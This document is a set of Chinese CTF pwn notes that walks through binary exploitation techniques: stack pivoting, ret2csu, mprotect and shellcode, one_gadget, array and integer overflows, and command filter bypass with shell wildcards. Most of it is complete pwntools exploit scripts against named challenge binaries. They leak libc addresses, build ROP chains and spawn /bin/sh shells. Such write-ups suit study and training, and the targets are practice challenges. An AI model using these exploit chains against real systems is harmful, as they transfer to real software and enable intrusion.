; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 io.sendline(p) io.interactive()ret2csuret2csu
ret2csu
栈迁移
指令
leave指令
即为mov esp ebp;pop ebp先将ebp赋给esp,此时esp与ebp位于了一个地址,你可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop ebp,将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容,也就是说现在把ebp的内容赋给了ebp)
ret
ret指令为pop eip,这个指令就是把栈顶的内容弹进了eip
ciscn_2019_es_2(开了nx保护)
题干
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
exp
from pwn import *
r = remote('node5.buuoj.cn',25199)
context.log_level = 'debug'
sys = 0x08048400
ret = 0x08048562
payload = b'a'*0x27 + b'b'
r.send(payload)
r.recvuntil('b')
pre_ebp = u32(r.recv(4))
payload1 =(b'aaaa'+p32(sys)+b'aaaa'+p32(pre_ebp-0x28)+b'/bin/sh\x00').ljust(0x28, b'p')
payload1 += p32(pre_ebp-0x38)+ p32(ret)
r.sendline(payload1)
r.interactive()
gyctf_2020_borrowstack
题干(栈迁移,汇编代码leave ret在最后一步return)只有nx保护
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s); //Welcome to Stack bank,Tell me what you want
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./pwn"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./libc-2.23.so')
#p = remote('node5.buuoj.cn',25006)
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
rdi=0x400703
leave_ret=0x400699
ret=0x4004c9
bss=0x601080
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main=0x400626
ogg = 0x4526a
pa=b'a'*0x60+p64(bss)+p64(leave_ret)
sa('Welcome to Stack bank,Tell me what you want\n',pa)
pa=p64(ret)*20+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #为什么是20个ret见下文
sa('stack now!\n',pa)
puts_add=u64(rc(6).ljust(8,b'\x00'))
print('puts=='+hex(puts_add))
base=puts_add-libc.sym['puts']
print(hex(base))
ogg=base+ogg
#debug()
pa=b'a'*0x68+p64(ogg)
sa('Welcome to Stack bank,Tell me what you want\n',pa)
it()
20个ret作用:栈被迁移到bank,puts函数调用栈,导致栈上内容改变。Bank(bss)离stdin和stdout比较近,需要先使用ret把栈的地址加大,防止返回到main的时候stdin被修改导致程序出错,根据调试,ROP链之前需要20个ret
下面图一是19个ret时bss的情况
ycb -pstack(只有一次输入机会)
题干()
ssize_t vuln()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts("Can you grasp this little bit of overflow?");
return read(0, buf, 0x40uLL);
}
.text:00000000004006C4 48 8D 45 D0 lea rax, [rbp+buf]
.text:00000000004006C8 BA 40 00 00 00 mov edx, 40h ; '@' ; nbytes
.text:00000000004006CD 48 89 C6 mov rsi, rax ; buf
.text:00000000004006D0 BF 00 00 00 00 mov edi, 0 ; fd
.text:00000000004006D5 E8 4E FE FF FF call read
.text:00000000004006D5
.text:00000000004006DA 90 nop
.text:00000000004006DB C9 leave
.text:00000000004006DC C3 retn
exp
rdi=0x400773
puts_p=e.plt['puts']
puts_g=e.got['puts']
read=0x4006C4 #是代码段那个read(0, buf, 0x40uLL);
bss=0x601010+0x100
leave_ret=0x4006db
ret=0x400506
p.recvuntil(b"Can you grasp this little bit of overflow?\n")
payload = b"a" *0x30 + p64(bss+0x30)+p64(read) #bss+0x30是为了和buf的-0x30抵消,刚好从bss写入内容
sd(payload)
pa=p64(bss+0x200+0x30+0x400)+p64(rdi)+p64(puts_g)+p64(puts_p)+p64(read) #迁移到bss+0x200+0x30+0x400
pa=pa.ljust(0x30,b'\x00')+p64(bss)+p64(leave_ret)
sd(pa)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
pa=b'a'*8+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
pa=pa.ljust(0x30,b'\x00')+p64(bss+0x200+0x400)+p64(leave_ret)#为什么bss段偏移这么大,因为执行sys函数时占用内存多,迁移地址小了会占用不能写的0x600000之后的内存,自然会eof。
debug()
sd(pa)
it()
bss的位置
静态链接类
(有几乎所有函数)ELF找函数此时都用e.symbols['']
1.get_started_3dsctf_2016(nx保护)
题干(用mprotect函数修改权限为可执行)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
exp(用自动攻击更简单)
from pwn import *
#r = process('./get_started_3dsctf_2016')
r = remote("node5.buuoj.cn",28954)
e = ELF('./get_started_3dsctf_2016')
#gdb.attach(r)
mprotect = e.symbols['mprotect']
read = e.symbols['read']
ret_3 = 0x809e4c5 #栈平衡pop3个参数
#0x0809e4c5 : pop ebp ; pop esi ; pop edi ; ret
addr = 0x80EB000 #看下方图片
payload=b'a'*0x38+p32(mprotect)+p32(ret_3)+p32(addr)+p32(0x100)+p32(7)+p32(read)+p32(ret_3)+p32(0)+p32(addr)+p32(0x100)+p32(addr)
#为什么是b'a'*0x38而不用覆盖ebp,看汇编因为只有main函数,ebp没有入栈
# sub esp, 3Ch
# mov [esp+3Ch+var_3C], offset aQualAPalavrinh ; "Qual a palavrinha magica? "
# call printf
# lea eax, [esp+3Ch+var_38]
# mov [esp+3Ch+var_3C], eax
# call gets
# xor eax, eax
# add esp, 3Ch
# retn
r.sendline(payload)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
str类函数\x00绕过
-
ez_havor 2016(没开nx)
题干void *chall() { size_t v0; // eax void *result; // eax char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF _BYTE *v3; // [esp+40Ch] [ebp-Ch] printf("Yippie, lets crash: %p\n", s); printf("Whats your name?\n"); printf("> "); fgets(s, 1023, stdin); v0 = strlen(s); v3 = memchr(s, 10, v0); if ( v3 ) *v3 = 0; printf("\nWelcome %s!\n", s); result = (void *)strcmp(s, "crashme");//strcmp是比较到\0为止即\x00 if ( !result ) return vuln((int)s, 0x400u); return result; } vuln void *__cdecl vuln(int src, size_t n) { char dest[50]; // [esp+6h] [ebp-32h] BYREF return memcpy(dest, &src, n); }
exp
from pwn import * r = process("./ez_pz_hackover_2016") #r = remote('node5.buuoj.cn',28332) context.log_level = 'debug' #gdb.attach(r) r.recvuntil('crash: 0x')//0x是为了下一句能截取到完整的地址,否则0x会占两位位置,地址刚好8位 s_addr = int(r.recv(8), 16) shelladdr = s_addr - 28//s的地址比ebp高,s地址-28后刚好是ret address的位置 print('0x%x' %s_addr) payload1 = b'crashme\x00' payload = payload1.ljust(26,b'a')+p32(shelladdr) + asm(shellcraft.sh()) r.sendline(payload) #pause() r.interactive()
异架构
本地调试:
tty:窗口
窗口2.
文件调试
qemu-aarch64 -g 1234 -L . ./problem 启动 -g 设置gdbserver端口 -L 设置动态连接库地址
qemu-mipsel -g 1234 ./文件
脚本调试
python3 ex
窗口0.gdb-multiarch ./文件 开一个新shell输 ,
set architecture mips/arm
target remote 127.0.0.1:1234 (ip:port) ip本地一般是127.0.0.1,port看-g的端口号
窗口1:显示调试信息
b main 后c才能在主函数调试si进入函数
模板
from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm", "-g", "1234", "./"])
#gdb.attach(target=("127.0.0.1", 1234), exe='文件名', gdbscript="b *0x010570\nc\n")#可以不下断点
#gdb.attach(target=("127.0.0.1", 1234), exe='文件名')
mips架构
寄存器:
前三个参数:A0,A1,A2
返回地址:$ra
rip:pc
rax: v0 system的系统调用是0xfab
汇编:
jr +寄存器:跳转到寄存器(Jump Register)
arm架构
寄存器:
前三个参数:R0,R1,R2
汇编:
one_gadget
1.one
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF
v4[2] = __readfsqword(0x28u);
init();
printf("Give me your one gadget:");
__isoc99_scanf("%ld", v4);
v4[1] = v4[0];
(v4[0])();
return 0;
}
int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
return printf("here is the gift for u:%p\n", &printf);
}
保护竟然全开
可以看到要我们输入v4,而v4是一个函数指针,并且在下面有调用,,,所以我们可以在v4里面输入gadget,,,%ld需要我们将地址转换成十进制的数
因为我们收到的地址是一个字符串,eval()函数是计算括号里面字符串的值,可以将十六进制的数转换成十进制
init里面直接给我们printf的地址,所以我们可以泄漏libc的地址
找一个gadget
【讲一下关于gadget】
这里找gadget,要看此时的程序是否满足one_gadget下面的constraints
第一个gadget需要满足的条件是rcxnull、[rbp-0x70]null 或者 [rcx]null、[rbp-0x70]null
调试让程序走到这里
方法:(gdb one_gadget,然后b printf,接下来一直n下一步就行【执行到__isoc99_scanf@plt,按两次n就行】)
解释一下为什么是这里
因为我们可以看到先调用了__isoc99_scanf函数,记下来并且返回值存放在[rbp-0x18]刚好是v4的地址,因为存储器直接是不能直接传值的,所以用了rax寄存器做中转,[rbp-0x18]的值先传给rax,然后rax的值再传给[rbp-0x10](也就是v5),现在v4和v5的值一样,接下来v5的值给了rdx,接下来调用rdx也就是调用了v4(没有直接调用v4,猜测的可能性,因为v4是还要作为参数)
可以看到rcxnull,那么[rcx]null,满足第一个条件,但是不满足第二个条件,[rbp-0x70]=0x7ffff7fad760 不为null,所以第一个gadget不可以,相应的,我们可以查看其它gadget第二个和第三个也都不满足条件最后看下最后一个
nice,满足条件,[rsp+0x70]==null,所以,我们选择最后一个gadget
exp
from pwn import*
context.log_level = 'debug'
p = remote('node3.buuoj.cn',26916)
libc = ELF('./libc-2.29.so')
p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)#转成十进制
log.success('printf_addr==>'+str(printf_addr))#打印到控制台上
base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
log.success("gadget==>"+str(one_gadget))
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()
栈上变量值修改(如覆盖v1值)
长城杯 flowershop(修改money为大值)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char dest[4]; // [rsp+Fh] [rbp-51h] BYREF
char v4; // [rsp+13h] [rbp-4Dh] BYREF
unsigned int v5[3]; // [rsp+14h] [rbp-4Ch] BYREF
char buf[52]; // [rsp+20h] [rbp-40h] BYREF
char src[4]; // [rsp+54h] [rbp-Ch] BYREF
int mony; // [rsp+58h] [rbp-8h] BYREF
char v9; // [rsp+5Fh] [rbp-1h]
init(&mony, v5, buf, src); //初始money为200,设置src=pwn
system(command); // echo 欢迎来到购物商城\n
puts(&byte_401298);
puts(&byte_4012BD);
read(0, buf, 0x3DuLL);
strncpy(dest, src, 3uLL);
dest[3] = 0;
if ( strcmp(dest, c) )
{
puts(&byte_4012D8); // 检测出栈溢出,要求src
exit(0);
}
printf(aS, buf);
while ( 1 )
{
menu();
__isoc99_scanf(&unk_401118, &v4);
do
v9 = getchar();
while ( v9 != -1 && v9 != 10 );
if ( v4 == 97 ) // a
{
shop(&mony, v5);
}
else if ( v4 == 98 ) // b
{
personalShop(buf, mony, v5);
}
else
{
printf(&byte_401342, &unk_40132E);
} // 你输入的选项有误!
}
}
_DWORD *__fastcall init(_DWORD *a1, void *a2, void *a3, _BYTE *a4)
{
_DWORD *result; // rax
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(a2, 0, 0xCuLL);
memset(&magic, 32, 0x32uLL);
memset(a3, 0, 0x32uLL);
strcpy(&magic, "echo flag{this_is_a_fake_flag}");
*a4 = 0x70; // p
a4[1] = 0x77; // w
a4[2] = 0x6E; // n
a4[3] = 0;
result = a1;
*a1 = 200;
return result;
}
int __fastcall shop(unsigned int *a1, unsigned int *a2)
{
int result; // eax
int v3; // [rsp+1Ch] [rbp-14h] BYREF
char buf[10]; // [rsp+20h] [rbp-10h] BYREF
char v5; // [rsp+2Ah] [rbp-6h] BYREF
char v6; // [rsp+2Bh] [rbp-5h]
int i; // [rsp+2Ch] [rbp-4h]
v5 = 48;
v3 = 10;
for ( i = 0; i <= 9; ++i )
buf[i] = 0;
do
{
puts(asc_401048);
puts(&byte_4010F8);
__isoc99_scanf(&unk_401118, &v5); // 选商品
do
v6 = getchar();
while ( v6 != -1 && v6 != 10 );
switch ( v5 )
{
case 'b':
if ( a2[1] > 8 )
goto LABEL_18;
if ( pay(199, a1) )
++a2[1];
break;
case 'c':
if ( a2[2] > 8 )
{
LABEL_18:
puts(&byte_401120);
break;
}
if ( pay(999, a1) )
{
memset(&magic, 32, 0x32uLL);
++a2[2];
magic = 0x68732F6E69622FLL; // /bin/sh
}
break;
case 'a':
printf("%d", *a2);
if ( *a2 > 8 )
goto LABEL_18;
if ( pay(99, a1) )
++*a2;
break;
default:
puts(&byte_40114B);
break;
}
check(a2, &v3); //2选项a,1b就可以改v3为70进行溢出
puts(&byte_401167); // 你想要继续买花吗? 1/0
read(0, buf, v3); // 可以溢出
result = atoi(buf);
}
while ( result == 1 );
return result;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./pwn"
e = ELF(file_name)
p= process(file_name)
# lib = './'
select=0
if select == 0:
p=process(file_name)
# libc = ELF(lib)
else:
p=remote('8.147.128.54',16991)
# libc = ELF(lib)
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
bin_sh=0x601840 //magic地址
rdi=0x0000000000400f13
sys=e.plt['system']
ret=0x4006f6
def buy(byt):
ru("请输入你的选项:\n")
sl(b'a')
ru('请输入购买的商品序号:')
sl(byt)
ru('你想要继续买花吗? 1/0\n')
sl(b'0')
ru('请输入你的姓名:\n')
pa=b'a'*(0x40-0xc)+b'pwn'+p32(0xffffff) #pwn过栈溢出检测
debug()
sd(pa)
buy(b'a')
buy(b'a')
buy(b'b')
buy(b'c') //c会magic变成binsh
pa=b'a'*0x18+p64(rdi)+p64(bin_sh)+p64(ret)+p64(sys)
ru("请输入你的选项:\n")
sl(b'a')
ru('请输入购买的商品序号:')
sl(b'c')
ru('你想要继续买花吗? 1/0\n')
# debug()
sl(pa)
it()
hgame2025 count petals
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-A4h]
int v5; // [rsp+10h] [rbp-A0h]
int rand_num; // [rsp+14h] [rbp-9Ch]
__int64 petal_arr[17]; // [rsp+18h] [rbp-98h] BYREF
int flower_num; // [rsp+A0h] [rbp-10h] BYREF
int v9; // [rsp+A4h] [rbp-Ch]
unsigned __int64 v10; // [rsp+A8h] [rbp-8h]
v10 = __readfsqword(0x28u);
init();
v4 = 0;
while ( 1 )
{
v5 = 0;
rand_num = rand() % 30;
v9 = 0;
puts("\nAs we know,there's a tradition to determine whether someone loves you or not...");
puts("... by counting flower petals when u are not sure.");
puts("\nHow many flowers have you prepared this time?");
__isoc99_scanf("%d", &flower_num);
if ( flower_num > 16 )
{
puts("\nNo matter how many flowers there are, they cannot change the fact of whether he or she loves you.");
puts("Just a few flowers will reveal the answer,love fool.");
exit(0);
}
puts("\nTell me the number of petals in each flower.");
while ( v9 < flower_num )
{
printf("the flower number %d : ", ++v9);
__isoc99_scanf("%ld", &petal_arr[v9 + 1]);// 存在数组溢出,可溢出到petal_arr[17],恰好是flower_num和v9
}
puts("\nDo you want to start with 'love me'");
puts("...or 'not love me'?");
puts("Reply 1 indicates the former and 2 indicates the latter: ");
__isoc99_scanf("%ld", petal_arr);
puts("\nSometimes timing is important, so I added a little bit of randomness.");
puts("\nLet's look at the results.");
while ( v5 < flower_num )
{
printf("%ld + ", petal_arr[++v5 + 1]);
petal_arr[0] += petal_arr[v5 + 1];
}
printf("%d", rand_num);
petal_arr[0] += rand_num;
puts(" = ");
if ( (petal_arr[0] & 1) == 0 )
break;
puts("He or she doesn't love you.");
if ( v4 > 0 )
return 0;
++v4;
puts("What a pity!");
puts("I can give you just ONE more chance.");
puts("Wish that this time they love you.");
}
puts("Congratulations,he or she loves you.");
return 0;
}
exp
#第一个大循环
flower_num=16
sla('prepared this time?\n',str(flower_num))
for i in range(15):
sla(b': ',b'0')
sla(b': ',str(0x1000000013)) #恰好溢出petal_arr[17],发送前栈情况如代码块1。在此为什么用str()见代码块3
# 0xf00000010
# 0x100000001e
for i in range(3):
sla(b': ',b'-') #scanf函数解析失败的特性,%d和%ld无法识别'-'这些非本格式化字符串解析的值返回0,并不对变量修改,维持原状。见代码块2
sla('indicates the latter: \n',b'2')
ru(b'81604378643 + ')
canary=int(ru(b' +')[:-1]) #int(rc(20))
print(canary)
print('canary_is: '+hex(canary)) #其实canary不用泄露,第二次循环scanf再用-跳过就好
ru(b'1 + ')
base=int(rc(15))- 0x29d90
print('base_is: '+hex(base))
system_addr = base + libc.sym['system']
binsh_addr = base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = 0x000000000002a3e5 + base
#第二个大循环
flower_num=16
sla('prepared this time?\n',str(flower_num))
for i in range(15):
sla(b': ',b'0')
sla(b': ',str(0x1000000016))
sla(b': ',str(canary))
sla(b': ',str(0xdeadbeef))
sla(b': ',str(pop_rdi_ret+1)) #ret就是
sla(b': ',str(pop_rdi_ret))
sla(b': ',str(binsh_addr))
sla(b': ',str(system_addr))
sla('indicates the latter: \n',str(2))
it()
代码块1
pwndbg> stack 24
00:0000│ rsp 0x7ffe2d75ee00 ◂— 2
01:0008│-0a8 0x7ffe2d75ee08 ◂— 6
02:0010│-0a0 0x7ffe2d75ee10 ◂— 0x300000000
03:0018│-098 0x7ffe2d75ee18 ◂— 0
... ↓ 16 skipped
14:00a0│-010 0x7ffe2d75eea0 ◂— 0xf00000010 #在此处
15:00a8│-008 0x7ffe2d75eea8 ◂— 0x59c22250824fe400
16:00b0│ rbp 0x7ffe2d75eeb0 ◂— 1
17:00b8│+008 0x7ffe2d75eeb8 —▸ 0x7fe043d22d90 (__libc_start_call_main+128)
#写入sla(b': ',str(0x1000000013))后变化为
# 0x f00000010
# 0x100000001e
#发现最后一位是flower_num,第一位是v9
代码块2
#include <stdio.h>
int main() {
long num = 4;
printf("Enter a number: ");
int result = scanf("%ld", &num);
printf("scanf return: %d, num: %ld\n", result, num);
return 0;
}
//Enter a number: 1
//scanf return: 1, num: 1
//Enter a number: -
//scanf return: 0, num: 4
代码块3
此处脚本对应
__isoc99_scanf("%ld", &petal_arr[v9 + 1]);
//str()h和b''对比
//str
sd(str(0xdeadbeef))
0xdeadbeef 是一个整数,其十进制表示是 3735928559。
str(0xdeadbeef) 结果是 "3735928559"(字符串)。
sd("3735928559") 发送的实际数据是 35928559\n
//b''
sd(b'0xdeadbeef')
b'0xdeadbeef' 是一个字节串,但 p.sendline() 发送时,它会被解码成 "0xdeadbeef"(字符串)。
发送的实际数据是:0xdeadbeef\n
//结论
__isoc99_scanf("%ld", &petal_arr[v9 + 1]) 期待的是 十进制整数,但 "0xdeadbeef" 以 "0x" 开头,表示十六进制数。
scanf("%ld", ...) 不会识别十六进制格式,它只能解析 十进制,因此 scanf 解析失败,petal_arr[v9 + 1] 不会被正确赋值,可能保持原值或导致意外行为。
//代码验证
a=str(0xdeadbeef)
b=b'0xdeadbeef'
print(a)
print(b)
c=b'0'
d=str(0)
print(c)
print(d)
异或加密
runitplusplus
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
int v5; // [esp-4h] [ebp-18h]
unsigned int i; // [esp+0h] [ebp-14h]
char *buf; // [esp+4h] [ebp-10h]
ssize_t v8; // [esp+8h] [ebp-Ch]
buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Send me stuff!!");
v8 = read(0, buf, 0x400u);
if ( v8 < 0 )
{
puts("Error reading!");
exit(1);
}
for ( i = 0; v8 / 2 > i; ++i )
{
buf[i] ^= buf[v8 - i - 1];
v3 = &buf[v8 - i - 1];
*v3 ^= buf[i];
buf[i] ^= *v3;
}
(buf)(v5, i, buf);
return 0;
}
可以假设buf[i]=a, buf[v8-i-1]=b, 那么对循环里面的操作进行转换有
a=a^b
b=b^a=b^(a^b)=a
a=a^b=(a^b)^a=b
123
即结果使得buf[i]= buf[v8-i-1], 那么对输入的shellcode进行逆转就行了。
exp
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./pwn"
e = ELF(file_name)
p= process(file_name)
#lib = './'
select=1
if select == 0:
p=process(file_name)
# libc = ELF(lib)
else:
p=remote('node5.buuoj.cn',26454)
# libc = ELF(lib)
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
pa=asm(shellcraft.sh())[::-1]
sd(pa)
it()
数组溢出
guestbook(只有nx保护)
void __cdecl GuestBook()
{
int index; // [rsp+Ch] [rbp-224h] BYREF
char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF
puts("Welcome to starRail.");
puts("please enter your name and id");
while ( 1 )
{
while ( 1 )
{
puts("index");
__isoc99_scanf("%d", &index);
if ( index <= 32 ) //数组溢出
break;
puts("out of range");
}
if ( index < 0 )
break;
puts("name:");
read(0, name[index], 0x10uLL);
puts("id:");
__isoc99_scanf("%hhu", &id[index]);
}
puts("Have a good time!");
}
exp
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
r = process('./pwn')
#r = remote(')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
sys=0x401323
for i in range(32):
r.recvuntil(b'index')
r.sendline(str(i))
print("index:"+str(i))
r.recvuntil(b'name:')
r.send(p64(sys)*2)
r.recvuntil(b'id')
r.sendline(b'1')
r.recvuntil(b'index')
r.sendline(b'32') #开始溢出
r.sendlineafter(b'name:', p64(sys))
r.sendlineafter(b'id:', b'8') #输入8刚好覆盖rbp最后一位指向前面某个name填充的地址见上图
r.recvuntil(b'index')
r.sendline(b'-1') #退出循环
#gdb.attach(r)
r.interactive()
choose_the_seat
void __noreturn vuln()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Here is the seat from 0 to 9, please choose one.");
__isoc99_scanf("%d", &v0);
if ( v0 > 9 )
{
printf("There is no such seat");
exit(1);
}
puts("please input your name");
read(0, &seats[16 * v0], 0x10uLL);
printf("Your name is ");
puts(&seats[16 * v0]);
printf("Your seat is %d\n", v0);
printf("Bye");
exit(0);
}
exp &seats的地址为0x4040a0
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
#r = process('./vuln')
r = remote('node5.anna.nssctf.cn',28100)
e = ELF('./vuln')
libc = ELF('./libc-2.31.so')
r.sendlineafter('one.',b'-6') #scanf函数一定要sendline
r.recvuntil(b'please input your name\n')
r.send(p64(0x4011d6)) #改exit为vuln函数
r.sendlineafter('one.',b'-8')
r.recvuntil(b'please input your name\n')
r.send(b'a'*8) #puts见\x0停止,刚好是printf函数
printf = u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print("printf:"+hex(printf))
base= printf-libc.sym['printf']
print("base:"+hex(base))
r.sendlineafter('one.',b'-6')
r.recvuntil(b'please input your name\n')
r.send(p64(0xe3b01+base))
r.interactive()
wustctf2020_number_game
unsigned int vulnerable()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 || (v1 = -v1, v1 >= 0) ) //整数溢出
printf("You lose");
else
shell();
return __readgsdword(0x14u) ^ v2;
}
int
类型的大小通常是32位。这意味着 int
类型可以表示的范围是从 -2,147,483,648 到 2,147,483,647
send( -2,147,483,648)
异常处理c++
ycb-logger
2024 羊城杯 logger | dblog (dbgbgtf.top)
羊城杯2024全方向部分题解 - 先知社区 (aliyun.com)
[原创]2024 羊城杯logger-Pwn-看雪-安全社区|安全招聘|kanxue.com
exp
from pwn import *
p=process('./pwn')
context(os='linux', arch='amd64', log_level='debug')
#gdb.attach(p,'b *0x4018E0')
def trace(content):
p.recvuntil(b'Your chocie:')
p.sendline(str(1))
p.recvuntil(b'You can record log details here:')
p.sendline(content)
p.recvuntil(b'Do you need to check the records?')
p.sendline(b'N')
def warn(content):
p.recvuntil(b'Your chocie:')
p.sendline(str(2))
p.recvuntil(b'[!] Type your message here plz')
p.send(content)
leave=0x4015a9
ret=0x40101a
bss=0x404420
src=0x4040A0
input=0x404020
catch=0x401BC7
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'a'*0x10)
gdb.attach(p)
trace(b'/bin/sh\x00')
# p.recv()
warn(p64(bss-8)*15+p64(catch))
#warn(p64(bss-8)*15+p64(catch))
p.interactive()
通配符
CTF下的命令执行漏洞利用及绕过方法总结 - SpouseLJ - 博客园
https://www.cnblogs.com/falling-dusk/p/17871620.html
Linux中的通配符用于匹配文件名,常用的通配符包括:
- 星号(*):表示任何字符(包括零个或多个)
- 问号(?):用于匹配单个字符
- 方括号([]):用于匹配指定字符集范围中的一个字符
找flag可以tail ????, /bin/cat ????,/bin/ta?l ????,显示太多可以用ctrl+shift +f找flag
例题
源鲁杯 ezstack
题干(禁用了s,h,c,t)
int vuln()
{
__int64 buf[7]; // [rsp+0h] [rbp-40h] BYREF
int i; // [rsp+3Ch] [rbp-4h]
memset(buf, 0, 48);
puts("input your command");
read(0, buf, 10uLL);
for ( i = 0; i <= 9; ++i )
{
if ( *(buf + i) == 's' || *(buf + i) == 'h' || *(buf + i) == 'c' || *(buf + i) == 'f' )
{
printf("error");
exit(0);
}eff
}
return system(buf);
}
exp
ret=0x40101a
sys=0x401275
pa=0x38*b'a'+p64(ret)+p64(sys)
sd(pa)
# debug()
# pa=b'\x2F\x62\x69\x6E\x2F\x73\x68'
# pa=b'/bin/?at ????
pa=b'/bin/?at *'
sd(pa)
it()
解法二
vuln=0x40127A
payload=b'a'*0x38+p64(vuln)
p.send(payload)
ru('input your command')
p.send(b'$0') #sys($0)=sys(binsh)
p.interactive()